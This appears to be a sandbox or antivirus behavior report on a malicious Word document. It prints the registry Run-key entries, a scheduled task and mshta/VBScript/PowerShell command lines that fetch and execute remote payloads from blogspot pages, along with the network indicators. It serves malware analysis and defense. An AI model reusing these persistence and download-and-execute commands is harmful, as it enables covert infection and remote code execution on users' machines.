Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'Defeduckgotfucked' = 'mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell ((gp HKCU:\Software).phuttalylo)|IEX"", 0 ...
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'mithuiki' = 'mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell ((gp HKCU:\Software).meather)|IEX"", 0 : window.clo...
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'checkmatebaby' = 'mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""mshta https://dodumdum6.blogspot.com/p/8s9.html"", 0 : wi...
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] '' = 'mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""https://milltu99.blogspot.com/p/0b9.html"", 0 : window.close")'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'bukun' = 'mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""mshta https://potatokapoli.blogspot.com/p/18j.html"", 0 : window....
Creates or modifies the following files
- <SYSTEM32>\tasks\lunkicharkhi
Malicious functions
Executes the following (exploit)
- '%ProgramFiles%\microsoft office\office14\winword.exe'
- '<SYSTEM32>\mshta.exe' http://12######89%1230192309@j.mp/jasdoaksdosasdkdkodk
Network activity
Connects to
- 're#####es.blogblog.com':443
TCP
HTTP GET requests
- http://j.#p/jasdoaksdosasdkdkodk
UDP
- DNS ASK j.#p
- DNS ASK my#########lullilomotmoti.blogspot.com
- DNS ASK bl##ger.com
- DNS ASK re#####es.blogblog.com
Miscellaneous
Searches for the following windows
- ClassName: 'MS_AutodialMonitor' WindowName: ''
- ClassName: 'MS_WebCheckMonitor' WindowName: ''
Creates and executes the following
- '%ProgramFiles%\microsoft office\office14\winword.exe' ' (with hidden window)
- '<SYSTEM32>\mshta.exe' http://12######89%1230192309@j.mp/jasdoaksdosasdkdkodk' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /create /sc MINUTE /mo 80 /tn ""lunkicharkhi"" /F /tr ""\""mshta\""vbscript:Execute("\"CreateObject(""\""Wscript.Shell""\"").Run ""\""mshta https://zoomba619.blogspot.com/p/18r.html""\"", 0 : w...' (with hidden window)
Executes the following
- '<SYSTEM32>\schtasks.exe' /create /sc MINUTE /mo 80 /tn ""lunkicharkhi"" /F /tr ""\""mshta\""vbscript:Execute("\"CreateObject(""\""Wscript.Shell""\"").Run ""\""mshta https://zoomba619.blogspot.com/p/18r.html""\"", 0 : w...
